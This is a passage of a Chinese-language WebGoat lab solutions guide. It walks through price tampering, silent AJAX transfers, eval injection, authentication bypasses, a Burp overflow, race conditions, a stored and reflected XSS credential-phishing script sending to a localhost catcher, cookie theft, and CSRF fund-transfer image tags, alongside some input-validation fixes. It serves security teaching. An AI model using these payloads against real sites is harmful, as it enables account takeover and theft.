 

2.3.6.4 操作方法	

当前网站页面如图： 
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利用 WebScarab 截获到的信息如图： 

 

修改 HTTP返回数据中 JSON代码，把$600 改为$100。 

提交更改后，网页上显示如图： 

 

此时可以低价购买直达航班的机票，完成本节课程任务。 
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2.3.7 静默交易攻击（Silent Transactions Attacks） 

2.3.7.1 技术概念或主题	

本课程将教会您如何执行静默交易攻击。 

 

2.3.7.2 技术原理	

对客户端来说，任何一个静默交易攻击，使用单一提交的系统都是有危险的。举例来说，

如果一个正常的 web 应用允许一个简单的 URL提交，一个预设会话攻击将允许攻击者在没

有用户授权的情况下完成交易。在 Ajax 里情况会变得更糟糕：交易是不知不觉的，不会在

页面上给用户反馈，所以注入的攻击脚本可以在用户未授权的情况下从客户端把钱偷走。 

 

2.3.7.3 总体目标	

这是一个简单的银行转账网页，在页面上可以进行转账操作； 

当前页面显示了您的账号余额、当前账号和目标转账帐号； 

该应用程序在通过一些基本验证后使用 AJAX 技术提交转账操作； 

您的目标是绕过用户验证，执行静默转账操作。 

 

2.3.7.4 操作方法	

该 Web应用使用 JavaScript 在客户端发起转账交易的操作。通过查看 HTML 源代码发现

程序使用了两个关键的 JavaScript 函数： 

 

<script> 

function processData(){ 

 var accountNo = document.getElementById('newAccount').value; 

 var amount = document.getElementById('amount').value; 

 if ( accountNo == ''){ 

 alert('Please enter a valid account number to transfer to.') 

 return; 

} 

 else if ( amount == ''){ 

 alert('Please enter a valid amount to transfer.') 

 return; 
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} 

 var balanceValue = document.getElementById('balanceID').innerHTML; 

 balanceValue = balanceValue.replace( new RegExp('$') , ''); 

 if ( parseFloat(amount) > parseFloat(balanceValue) ) { 

 alert('You can not transfer more funds than what is available in your balance.') 

 return; 

} 

 document.getElementById('confirm').value  = 'Transferring' 

submitData(accountNo, amount); 

 document.getElementById('confirm').value  = 'Confirm' 

balanceValue = parseFloat(balanceValue) - parseFloat(amount); 

balanceValue = balanceValue.toFixed(2); 

document.getElementById('balanceID').innerHTML = balanceValue + '$'; 

} 

 

function submitData(accountNo, balance) { 

var url = 'attack?Screen=68&menu=400&from=ajax&newAccount='+ accountNo+ 

'&amount=' + balance +'&confirm=' + document.getElementById('confirm').value;  

if (typeof XMLHttpRequest != 'undefined') { 

req = new XMLHttpRequest(); 

} else if (window.ActiveXObject) { 

req = new ActiveXObject('Microsoft.XMLHTTP'); 

   } 

   req.open('GET', url, true); 

   req.onreadystatechange = callback; 

   req.send(null); 

} 

function callback() { 

    if (req.readyState == 4) {  

        if (req.status == 200) {  

                   var result =  req.responseText ; 

    var resultsDiv = document.getElementById('resultsDiv'); 

    resultsDiv.innerHTML = ''; 

    resultsDiv.innerHTML = result; 

        }}} 

</script> 

 

 

当用户完成帐号信息和转账数目信息录入后，函数 processData()会被调用。函数

processData()在发起转账交易前，会检查用户帐号是否有足够的余额。如果余额检查通过，

则函数 SubmitData(accountNo, balance)会被调用。该函数实际上是向后台（Web应用的后台）

提交转账操作所需的重要信息：目标帐号和转账金额。 

 

如果您可以通过浏览器直接执行 submitData(accountNo, balance)  函数，那么就可以绕
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过客户端验证并执行静默交易。该操作不需要任何额外的确认和用户数字签名。 

 

大多数浏览器的最新版都支持通过在地址栏输入类似“javascript:function();”的语句执行

JavaScript。尝试执行 javascript:submitData(1234556,11000)。 

 

网站当前页面如图 

 

在浏览器的地址栏中输入 javascript:submitData(1234556,11000) 

 

转账成功，完成本节课程。 

 



                                                                              http://www.owasp.org.cn 

  57 / 177 
 

2.3.8 危险指令使用（Dangerous Use of Eval） 

2.3.8.1 技术概念或主题	

在服务端验证所有用户输入的信息，这是一个不错的做法。如果未验证的用户输入直接

通过 HTTP响应返回给客户端的话，往往会触发 XSS攻击。 

在这一课中，未验证的用户提供的数据结合了 JavaScript 的 eval()调用一起使用。在反射

型 XSS攻击中，攻击者可以构造带有攻击脚本的 URL，将其存储于其他站点，通过电子邮件，

或者其他方式诱骗用户点击，达到 XSS的目的。 

 

2.3.8.2 技术原理	

HTML 网页有一系列的 HTML 编辑语言和字符组合完成。在源代码中任意位置添加一定

的代码都有可能被浏览器解析，特别是 HTML中的标记字符和属性等信息，如： 

<input name="submit" type="submit" value"提交"/> 

本节课的内容与标准的反射型 XSS攻击课程类似。 

Hint: The lesson is similar to the standard reflected cross‐site scripting lesson. 

2.3.8.3 总体目标	

本练习课程中，您的任务是通过构造特殊的输入，在应用程序运行过程中执行恶意脚本。

要通过本课程，必须通过 alert()函数显示出 document.cookie。 

 

2.3.8.4 操作方法	

网站当前页面如图: 
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由于 3 位数的数字授权码会被带入 JavaScript 的 eval()函数，因此可针对该授权码进行特

别构造。 

 

在 enter your three digit access code中输入以下代码即可完成： 

 

123');alert(document.cookie);(' 

 

服务端收到并返回的 JavaScript 结果是： 

 

eval('123'); 

alert(document.cookie); 

('');  
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代码成功执行，本节课程结束。 

 

2.3.9 不安全的客户端存储（Insecure Client Storage） 

2.3.9.1 技术概念或主题	

在服务端验证所有的用户输入信息总是不错的做法。客户端进行的任何验证信息都存在

被逆向分析的脆弱性。记住，客户端的任何数据都不能被视为机密！ 

 

2.3.9.2 技术原理	

客户端 HTML 和 JavaScrip语句可以对网页内容、形式做修改，如隐藏、控制读写、限

制长度等。同样，通过修改网页代码也能解除此类限制。 

 

2.3.9.3 总体目标	

2.3.9.3.1 Stage 1:发现购物优惠码 

本练习中，您的任务是发现意外的购物优惠码。 
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2.3.9.3.2 Stage 2:提交免费订单 

绕过客户端验证，向服务端提交零元的订单。 

 

2.3.9.4 操作方法	

本操作过程需要用到可以调试 JavaScript 的浏览器插件。如果您使用 IE浏览器，可以使

用 IEWatch。以下内容基于 Firefox 浏览器的 Friebug插件。 

 

2.3.9.4.1 Stage 1:发现购物优惠码 

在页面的优惠码（coupon code）输入框中输入一个字符，比如 1。 

打开 Firebug，点击【Inspect】,选中页面上的 coupon code  输入框，在 Firebug中点击

Script,选择 clientSideValidation.js，在 if(coupon == decrypted)处加断点。 

 

 

鼠标放到 decrypted上，会显示当前的值为 PLATINUM。在右下角的watch中，修改 coupon

的值为 PLATINUM，或在页面 coupon code输入框中输入 PLATINUM。按 F10 调试运行，则通

过。 



                                                                              http://www.owasp.org.cn 

  61 / 177 
 

 

 

 

2.3.9.4.2 Stage 2:提交免费订单 

由于商品列表中商品价格字段为只读，因此无法修改。现在您需要强制修改 credit card 

以及 shopping card 中价格的属性。 

 

 

  
利用 Firebug，在 HTML中找到  readonly=””，删除该属性。则可在页面上修改商品价格

的值。 
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修改商品价格为$0，然后提交订单免费购物！ 

 

2.4 认证缺陷（Authentication	Flaws）	

2.4.1 密码强度（Password Strength） 

2.4.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

密码是账户安全的保障。多数用户都在各个网站上使用同样的弱密码。如果您想您的应

用程序不被攻击者暴力破解，应该设置一个较好的密码。好的密码应包含小写字母、大写字

母和数字。密码越长，效果越好。 
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2.4.1.2 技术原理（How	It	works）	

密码越复杂，被成功猜解的代价也越高。代价通常以时间衡量。 

 

2.4.1.3 总体目标（General	Goals）	

在这个练习中，您的目的是在 https://www.cnlab.ch/codecheck 网站测试几组密码。 

 

 

2.4.1.4 操作方法（Solutions）	

打开浏览器并访问 https://www.cnlab.ch/codecheck.  复制下列第一个密码并单击【Run 

the check】按钮。 

 

 

在弹出的窗口中选择"Yes, I want this word to be tested"。 

 

 

您将获得测试返回的结果。 
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将练习中提供的 5 组密码分别放在网站中测试，将所需要的时间写出来即可完成。 

 

2.4.2 忘记密码（Forgot Password） 

2.4.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web 应用程序经常为用户提供密码找回功能。但不幸的是，很多 Web 应用程序的实施

机制并不正确。验证用户身份所需要的信息往往过于简单。 

 

2.4.2.2 技术原理（How	It	works）	

没有任何锁定策略，暴力破解非常有效。 

 

2.4.2.3 总体目标（General	Goals）	

如果您能正确回答密码提示问题，那么您就可以找回密码。“忘记密码”页面未设定任

何锁定策略。您的用户名是“webgoat”，您喜欢的颜色是“red”。您的目标是找回另一个

用户的密码。 

 

2.4.2.4 操作方法（Solutions）	

网站应用通常提供用户找回密码功能，当用户忘记自己的登录密码时，可以根据之前自
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己设的密码保护问题才找回密码，例如：用户名为 webgoat 的用户，对于密码保护问题“您

最喜欢的颜色是什么”的答案是“红色”，通过正确回答问题可以重新获得密码，如下图所

示： 

 

我们需要做的就是以 admin 用户为例，试着猜测密码保护问题的答案，以获取 admin

的密码。在 User Name 输入 admin。如下图所示： 

 
点击【Submit】后，出现密码保护问题: 

 
我们可以任意输入各种颜色的名称，多次尝试后发现 green 为正确答案。出现如下提示

时，攻击成功。 
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2.4.3 基本认证（Basic Authentication） 

2.4.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

基本身份验证通常用来保护服务端的资源。Web 服务器将发送 401 认证请求与所请求

的资源响应。客户端浏览器会提示用户在浏览器提供的对话框中输入用户名和密码。浏览器

将用户名和密码使用 Base64 编码方式进行编码，并将这些凭据发送给 Web 服务器。Web

服务器会验证这些凭据，如果所提供的凭据正确，则返回所请求的资源。这些凭据会自动重

置每一个使用这一机制的被保护的页面，而不需要用户再次输入这些凭据。 

 

2.4.3.2 技术原理（How	It	works）	

基本认证使用 cookie传递认证信息，可以使用代理工具拦截请求并查看 cookie。 

 

2.4.3.3 总体目标（General	Goals）	

本节课程您的目标是理解基础认证并回答问题。 

 

2.4.3.4 操作方法（Solutions）	

网站应用通常提供用户找回密码功能，当用户忘记登录密码时，可以根据之前自己设的

密码保护问题才找回密码，例如：用户名为 webgoat 的用户，对于密码保护问题“您最喜欢

的颜色是什么？”的答案是“红色”，通过正确回答问题可以重新获得密码，如下图所示： 

 

进入该页面，同时启动 Webscarab。 
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点击【submit】，Webscarab 截获请求，在 HTTP 头中包含一个基本身份认证信息

“Authorization”，它的值是“Z3Vlc3Q6Z3Vlc3Q=”，可以在 Webscarab 的“tools”-

“Transcoder”中，选择“Base64 decode”进行编译，最终得到 code 值“guest:guest”。
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在课程页面中输入“Authorization”，“guest:guest”，点提交，完成第一阶段。 
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在这一课中，重点是让您明白 JSESSIONID cookie 是如何用来进行会话管理，以及如何

用基本身份认证头来进行基本身份认证。当 WebGoat 检测到一个有效的会话，您会被自动重

定向到您正在进行的课程页面，如果没有检测到有效会话，WebGoat 会创建一个新的

JSESSIONID，您会看到第一课。以 WebGoat 作为基本访问，您需要破坏现有的 JSESSIONID

和 Authorization 头，您可以在 Webscarab 中截取请求并删除 JSESSIONID 的值以及

Authorization 头。WebGoat 将要求您进行身份验证，您现在可以输入用户名“basic”，密

码“basic”。在日志中显示将以 basic 用户登录。还记得我们的 JSESSIONID 吗？这个

JSESSIONID 是一个非持久性的 cookie，在第一次访问时设置，从浏览器到 WebGoat 的每个

请求都有一个 cookie 值。破坏先前的请求，不会改变存储在浏览器内存中的 cookie 值，这

就是为什么每次请求都会发送以前的 JSESSIONID 值的原因。 

现在刷新当前页面，从弹出的 Webscarab 页面中看到目前的 Authorization 是 basic，

密码是 basic。 
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由于需要有效的 JSESSIONID，WebGoat 身份验证的用户通过服务器端使用

getSession().getUser()方法检索。为了让 WebGoat 相信您就是被认证的 basic 用户，您需

要按照图中的方式修改 JSESSIONID=novalidsession。 

 
现在您被重定向到开始页面，JSESSIONID 改变了，您失去了所有的绿色对勾（代表已
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完成课程）。因为 basic 用户没有完成任何 WebGoat 的课程。现在进入"Basic Authentication"

课程即可完成本课 

 

 

 

2.4.4 多级登录 1（Multi Level Login 1） 

2.4.4.1 技术概念或主题（Concept	/	Topic	To	Teach）	

多级登录提供了一个健壮的验证。这是加入第二层的存档。在通过您的用户名密码登录

后，您可以请求一个“交易认证号（TAN）”。这经常用于网上银行。您得到一个银行提

供的由很多交易认证号生成唯一的列表，每个交易认证号只能使用一次。另一种方法是用短

信提供一个交易认证号，这样做的好处是攻击者无法获得用户的交易认证号。 

 

2.4.4.2 技术原理（How	It	works）	

很多用过的验证码往往能够被再次使用。 

 

2.4.4.3 总体目标（General	Goals）	

本机课程中您需要尝试绕过系统强壮的认证。您必须攻击另一个帐号。系统已经提供了

用户名、密码和一个已经使用了的 TAN。您需要让系统接受该序列号，尽管它已经被使用

了。 

 

2.4.4.4 操作方法（Solutions）	

本节课程有两个步骤：第一步骤仅仅向您展现多级登录是如何工作的；第二步您需要攻

破这一强壮的认证。 

 

 

第一步：登录系统，用户名：Jane，密码：tarzan。 
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输入第一个交易认证号 15648，提交后第一步完成。 

 

第二步：在第一步中，我们只是介绍了多级登录的工作原理，接下来第二步就是如何破

坏这种验证机制。首先开启 Webscarab，然后跟第一步一样使用用户名：Jane，密码：tarzan

进行登录。在输入 TAN 处继续输入 15648，然后提交，这时 Webscarab 会提示拦截信息。我

们需要做的就是把 hidden_tan 的值改为 1，即可完成该课程。 
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2.4.5 多级登录 2（Multi Level Login 2） 

2.4.5.1 技术概念或主题（Concept	/	Topic	To	Teach）	

参考上节。 

 

2.4.5.2 技术原理（How	It	works）	

参考上节。 

 

2.4.5.3 总体目标（General	Goals）	

在这一课中，您将要尝试破坏这种认证，通过其他账号进行登录。您需要做的是通过其

他账号登录，在只知道目标用户名的情况下，以该用户名身份登录系统。 

 

2.4.5.4 操作方法（Solutions）	

以用户名 Joe，密码 banana 登录，然后输入 TAN 提交，通过 Webscarab 截取请求。 
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将 hidden_user 中的 Joe 改为 Jane，然后选择确定，您将以 Jane 登录系统，该课程完成。 

 

 

 

2.5 缓冲区溢出（Buffer	Overflows）	

2.5.1 Off‐by‐One  缓冲区溢出（Off‐by‐One Overflows） 

2.5.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量，溢出的

数据覆盖在合法数据上。理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字

符，但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配，这就为缓冲区溢

出埋下隐患。 

 

2.5.1.2 技术原理（How	It	works）	

通过向程序的缓冲区写入超出其长度的内容，导致缓冲区的溢出，从而破坏程序的堆栈，

造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程

序中没有仔细检查用户输入的参数。 

缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。

利用缓冲区溢出攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，

可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。 
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2.5.1.3 总体目标（General	Goals）	

欢迎您来到 OWASP 宾馆！您能否找出 VIP 客户住在哪个房间？您需要提供以下相关

信息才能访问互联网。 

2.5.1.3.1 Step 1/2 

请确保您输入的姓名信息与宾馆注册系统中的信息完全相同。 

 

2.5.1.3.2 Step 2/2 

请选择下方的上网套餐。 

请确保您选择的选项与实际使用时间匹配，本服务不提供任何退款。 

 

2.5.1.4 操作方法（Solutions）	

本节使用 BurpSuite 完成。 

第一步时随便填写，也不用拦截。 

 

第二步时，选择【24 小时】的选项，点击【Accept Terms】提交时拦截数据。 
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将该 request 请求拦截后发往 intruder，然后将参数 room_no 设为溢出目标。没错，就是

它（此时如果查看网页源代码，会发现，在这第二次提交时，包括 room_no 在内的三个参

数都是 hidden 的 input 方式）。如图，攻击类型选择 sniper。 

 

接下来，如下图，payloads 方案选择【character blocks】，意思就是用大量的字符填充，

图中payloads方案下面4个填充处含义为：N多的3，从最小值3*1024=3072开始到3*1024000，

步长 1024，这些设置都随意，只要满足足够长，够溢出即可。然后点击图中左上方【intruder】

下拉菜单中的【attrack】进行攻击。 
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步长 1024，一共是执行了 1000 多次 request。完成后，如下图，在结果中将【length】

列按照升序排序，点击最大的数值那行（最大值都没溢出，说明不够大）。然后点击下方

【response】响应中的 html，可以看到【congratulation】字眼了，或者点击那个【render】直

接看根据【response】生成的网页，但是由于未加载配置文件，预览效果不加。但的确通过

了本节课程。 

 

完成课程后页面如下图所示： 
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2.6 代码质量（Code	Quality）	

2.6.1 在 HTML中找线索（Discover Clues in the HTML） 

2.6.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

众所周知，很多开发者喜欢在源代码中保存 FIXME's、Code Broken、Hack 等语句。通

过审查源代码中的相关注释往往能找到密码、后门及一些潜在的问题。 

 

2.6.1.2 技术原理（How	It	works）	

浏览器工具菜单中“view source”功能可以查看网页 HTML源代码。 

 

2.6.1.3 总体目标（General	Goals）	

通过认证检查。 

 

2.6.1.4 操作方法（Solutions）	

在当前页面单击鼠标右键，选择“查看源代码”。阅读代码中相关注释，能够找到有用
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的信息：admin/adminpw 

 

 
 

使用该密码成功登录系统则通过本节课程学习。 

 

2.7 并发（Concurrency）	

2.7.1 线程安全问题（Thread Safety Problems） 

2.7.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web 应用程序可以同时处理很多 HTTP 请求。开发人员经常使用的变量不是线程安全

的。线程安全是指一个对象或类的领域在多线程同时使用的时候总是保持有效的状态。它往

往可以利用并发错误，精确地在同一时间同一个页面加载另一个用户。 

因为所有的线程共享同一个方法区，而所有的类变量存储在方法区，多个线程试图同时

使用相同的类变量。 

用户利用 Web 应用程序中的并发错误，查看同一时间另一个用户试图登录同一个功能

的信息。 

 

2.7.1.2 技术原理（How	It	works）	

Web应用程序通常在同一时间要处理很多 HTTP 请求。 
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2.7.1.3 总体目标（General	Goals）	

用户需要成功利用 Web 应用程序的并发错误。查看另一位正在使用相同功能的用户的

登录信息。 

 

2.7.1.4 操作方法（Solutions）	

打开两个浏览器，一个输入用户名 jeff,另一个输入用户名 dave。尽可能快的同时按下

两个浏览器中的 submit 按钮。显示的结果却都是 jeff 的信息,如图： 

 
 

 

2.7.2 购物车并发缺陷（Shopping Cart Concurrency Flaw） 

2.7.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

Web 应用程序可以同时处理很多 HTTP 请求。开发人员经常使用的变量不是线程安全

的。线程安全是指一个对象或类的领域在多线程同时使用的时候总是保持有效的状态。它往

往可以利用并发错误，精确地在同一时间同一个页面加载另一个用户。 

因为所有的线程共享同一个的方法区，所有的类变量存储在方法区，多个线程试图同时

使用相同的类变量。 
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用户利用 Web 应用程序中的并发错误，查看同一时间另一个用户试图登录同一个功能

的信息。 

 

 

2.7.2.2 技术原理（How	It	works）	

不涉及。 

2.7.2.3 总体目标（General	Goals）	

在这个练习中，您的目的是利用并发性问题，以较低的价格购买商品。 

 

2.7.2.4 操作方法（Solutions）	

开启两个浏览器窗口，窗口 A 中，选择较便宜的商品，点击【purchase】按钮。如图： 

 

 

在窗口 B 中，选择较贵的商品，并按下【update card】按钮。如图： 
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打开窗口 A，按下【confirm】按钮，即可达到目的。 

 

 

2.8 跨站脚本攻击（Cross‐Site	Scripting	(XSS)）	

2.8.1 使用 XSS钓鱼（Phishing with XSS） 

2.8.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成

XSS。在 XSS 的帮助下，您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者

来说很难发现该内容是否存在威胁。 
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2.8.1.2 技术原理（How	It	works）	

HTML 文档的内容是可以被篡改的，如果您有权限操作页面源代码。 

 

2.8.1.3 总体目标（General	Goals）	

创建一个 form，要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche

r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam 

 

 

2.8.1.4 操作方法（Solutions）	

利用 XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分，您需要结合

起来使用： 

受害人填写一个表格； 

以读取脚本的形式，将收集到的信息发送给攻击者。 

一个带用户名和密码输入框的表格如下： 

<form> 

<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 

Enter Username:<br><input type="text" id="user" name="user"><br> 

Enter Password:<br><input type="password" name = "pass"><br> 

</form><br><br><HR> 

 

搜索这段代码，您就能看到页面中增加了一个表单。 

现在您需要一段脚本： 

<script> 

function hack() 

{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " + 

document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new 

Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ 

document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; 

} 

</script> 

这段代码会读取您在表单上输入的用户名和密码信息，将这些信息发送给捕获这些信息

的 WebGoat。 

最后，就是要将这两段代码合并。最终需要输入的代码如下： 

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name 

= " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new 

Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ 
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document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} 

</script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter 

Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input 

type="password" name = "pass"><br><input type="submit" name="login" value="login" 

onclick="hack()"></form><br><br><HR> 

搜索这段代码，您会看到一个要求输入用户名密码的表单，输入用户名密码，点击登录，

WebGoat 会将您输入的信息捕获并反馈给您。 

 

 

 

 

2.8.2 小实验：跨站脚本攻击（LAB: Cross Site Scripting） 

2.8.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

输入验证是一个很好的方法，尤其是验证那些以后将用做参数的操作系统命令、脚本和

数据库查询的输入。尤为重要的是，这些内容将会永久的存放在那里。应当禁止用户创建消

息内容。用户的信息被检索时，可能导致其他用户加载一个不良的网页或不良的内容。当一

个未经验证的用户的输入作为一个 HTTP 响应时，XSS 攻击也可能会发生。在一个反射式

XSS 攻击中，攻击者会利用攻击脚本精心制作一个 URL 并通过将其发送到其他网站、电子

邮件、或其他方式骗取受害者点击它。 
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2.8.2.2 总体目标（General	Goals）	

在这个练习中，您将执行存储和反射 XSS攻击，您还可以通过在 web 应用程序中调整

代码来防护这种攻击。 

 

2.8.2.3 Stage	1:	存储型 XSS（Stage	1:	Stored	XSS）	

2.8.2.3.1 总体目标（General Goals） 

执行存储型跨站脚本攻击； 

以“Tom”身份登录网站，修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的

密码是用户明名字的小写（如：Tom 的密码是 tom）。 

 

2.8.2.3.2 操作方法（Solutions） 

1. 以用户名“Tom”密码 tom 登录，选择 Tom，点击“View Profile”按钮。现在可

以看到 Tom 的个人信息。点击“Edit Profile”，在“Street”一栏中进行 XSS 攻击。加入

如下代码，点击“UpdateProfile”： 

<script>alert("haha");</script> 

 

2. 退出登录，以用户名 Jerry，密码 jerry 登录，选择浏览 Tom 的信息，会弹出这段

注入脚本。 
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2.8.2.4 Stage	2:	使用输入验证阻止存储型 XSS攻击（Stage	2:	

Block	Stored	XSS	using	Input	Validation）	

2.8.2.4.1 总体目标（General Goals） 

Stage 2:  使用输入验证阻止存储式 XSS攻击 

本节课程只能在 WebGoat 开发版本上完成。 

 

完成代码修复，在数据被写入数据库之前阻止存储型跨站攻击脚本。重复 Stage1，以

Eric 和 David身份再次测试，验证管理用户 David不受攻击影响。 

 

 

2.8.2.4.2 操作方法（Solutions） 

通过将放置在org.owasp.webgoat.lessons.CrossSiteScripting包中的UpdateProfile.java类中添

加如下代码，可防止此类攻击。 

/**Your code**/ 

String regex = "[\\s\\w-,]*"; 

String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+ 

startDate+ccn+disciplinaryActionDate+ 

disciplinaryActionNotes+personalDescription; 
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Pattern pattern = Pattern.compile(regex); 

validate(stringToValidate, pattern); 

/**End of your code**/ 

这段验证代码只允许\s = whitspace: \t\n\x0B\f\r，\w = word: a-zA-Z_0-9 通过验

证。使用其他字符将会抛出验证异常。 

 

 

2.8.2.5 Stage	3:	存储型 XSS重访问（Stage	3:	Stored	XSS	

Revisited）	

2.8.2.5.1 总体目标（General Goals） 

雇员“Bruce”的个人信息在预载入时携带了存储型 XSS攻击代码。验证 David 帐号仍然

受影响，即使 Stage2 中做过相关的修复。 

 

2.8.2.5.2 操作方法（Solutions） 

以用户 David，密码 david登录，然后浏览 Bruce的信息，即可完成。 
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2.8.2.6 Stage	4:	使用输出编码阻止存储型 XSS（Stage	4:	Block	

Stored	XSS	using	Output	Encoding）	

2.8.2.6.1 总体目标（General Goals） 

本节课程只能在 WebGoat 开发版本上完成。 

 

修改代码功能，从数据库中读取数据后阻止跨站攻击代码。同时回到 Stage3 验证 David

用户不受 Bruce个人信息页面攻击影响。 

 

2.8.2.6.2 操作方法（Solutions） 

在 org.owasp.webgoat.util.HtmlEncoder 类中添加一个 encode(String s)静态方法。这个方

法更改所有字符串中的特殊字符。现在您可以用 org.owasp.webgoat.lessons.CrossSiteScriptin

g class 类中的 getEmployeeProfile 这个方法。用 HtmlEncoder.encode(answer_results.getString

(someString))替换所有 answer_results.getString(someString)，即可完成。 

 

2.8.2.7 Stage	5:	反射型 XSS（Stage	5:	Reflected	XSS）	

2.8.2.7.1 总体目标（General Goals） 

使用雇员搜索页面漏洞构造一个包含反射型 XSS攻击代码的 URL。验证另一位雇员访问

该 URL 会受影响。 

 

2.8.2.7.2 操作方法（Solutions） 

以用户名 Larry，密码 larry 登录。点击“SearchStaff”，在搜索框中，添加如下一段代

码即可完成： 

<script>alert("Dangerous");</script> 
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2.8.2.8 Stage	6:	阻止反射型 XSS（Stage	6:	Block	Reflected	XSS）	

2.8.2.8.1 总体目标（General Goals） 

本节课程只能在 WebGoat 开发版本上完成。 

修改代码，修复反射型 XSS攻击。重复 Stage5 验证攻击不再生效。 

 

2.8.2.8.2 操作方法（Solutions） 

方法类似于第二阶段。编辑 org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile.java，

在 getRequestParameter 方法后面添加下面代码： 

String regex = "[\\s\\w-,]*"; 

String parameter = s.getParser().getRawParameter(name); 

Pattern pattern = Pattern.compile(regex); 

validate(parameter, pattern);   

return parameter; 
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2.8.3 存储型 XSS攻击（Stored XSS Attacks） 

2.8.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

过滤所有用户输入是一个不错的做法，特别是那些后期会被用作 OS、脚本或数据库查

询参数的输入。尤其是那些将要长期存储的内容。用户不能创建非法的消息内容，例如：可

以导致其他用户访问时载入非预期的页面或内容。 

 

2.8.3.2 总体目标（General	Goals）	

创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容。 

 

2.8.3.3 操作方法（Solutions）	

在 title 中任意输入字符。在内容中输入以下代码： 

<script>alert('xss')</script> 

或者<script language="javascript" type="text/javascript">alert("Ha Ha Ha");</script> 

点提交。如图所示： 

 

点击“ab”，这就好比您刚创建的帖子，由您或者其他人浏览，然后会弹出一个对话框，

证明 XSS 攻击成功。 
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输入<script language="javascript" type="text/javascript">alert(document.cookie);</script> 

可以获取当前浏览者 cookie。 

 

 

2.8.4 跨站请求伪造（Cross Site Request Forgery (CSRF)） 

2.8.4.1 技术概念或主题（Concept	/	Topic	To	Teach）	

本节课程将指导您如何实现跨站请求伪造攻击（CSRF）。 

 

2.8.4.2 技术原理（How	it	works）	

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示： 

<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/> 

 

当受害者的浏览器试图打开这个页面时，它会使用指定的参数向 www.mybank.com 的

transferFunds.do 页面发送请求。浏览器认为将会得到一个图片，但实际上是一种资金转移

功能。该请求将包括与网站相关的任何 cookies。因此，如果用户已经通过网站的身份验证，

并有一个永久的 cookie，甚至是当前会话的 cookie，网站将没有办法区分这是否是一个从合

法用户发出的请求。通过这种方法，攻击者可以让受害者执行一些他们本来没打算执行的操

作，如注销、采购项目或者这个脆弱的网站提供的任何其他功能。 
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2.8.4.3 总体目标（General	Goals）	

在这一课中，您的目的是向一个新闻组发送一封邮件，邮件中包含一张图片，这个图像

的 URL 指向一个恶意请求。尝试一个包括 1*1 像素的图像，其中包含一个网址。这个 URL

应当用一个额外的参数“transferFunds= 4000”指向 CRSF课程页面。您可以通过左侧菜单在

CSRF 课程连接上右键单击，选择复制快捷方式。无论谁收到这封邮件，并恰好已经通过身

份验证，他的资金将会被转走。 

注意：不同 WebGoat 环境的 URL中“Screen”和“Menu”参数可能会有所区别。请使

用您但前访问 URL中正在使用的参数。 

 

2.8.4.4 操作方法（Solutions）	

要完成这一课，您需要在消息框中嵌入 HTML 代码。这段代码中包含一个图片，链接到

一个网站。在 HTML 中图片的格式是： 

<img src="[URL]" width="1" height="1" /> 

创建一个新消息，命名为“Test”，消息中加入这段 HTML 代码。 

<img src="http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000" width="1" 

height="1" /> 

  
页面刷新后，您会在消息列表中看到一个新的消息。 
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点击这个消息，这将会下载这个消息并以 HTML 的方式显示，这时用 WebScarab 来截获

请求。在其中添加“&transferFunds=5000”，然后确定。 

 

刷新页面后，该课完成。 

 

2.8.5 绕过 CSRF确认（  CSRF Prompt By‐Pass） 

2.8.5.1 技术概念或主题（Concept	/	Topic	To	Teach）	

本节课程将指导您如何实现跨站请求伪造攻击（CSRF），包括通过多个请求绕过用户确
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认脚本命令。 

 

2.8.5.2 技术原理（How	it	works）	

网页中所有手动发起的请求操作，其实质是通过 HTML+JavaScript 向服务器发起请求。 

 

2.8.5.3 总体目标（General	Goals）	

类似于 CSRF 课程，您的目标是给新闻组发送一封带有多个威胁请求的 Email。第一个请

求用户资金转账，第二个用于自动处理第一个请求所触发的确认。URL 必须使用以下两个外

部参数“transferFunds=4000”和“transferFunds=CONFIRM”。可以通过在左侧链接中右键鼠

标，复制快捷方式完成 URL 获取。任何收到该邮件的人若正好已经通过认证，则当其访问

该页面时将自动完成资金转账。 

注意：不同 WebGoat 环境的 URL中“Screen”和“Menu”参数可能会有所区别。请使

用您当前访问 URL中正在使用的参数。 

 

2.8.5.4 操作方法（Solutions）	

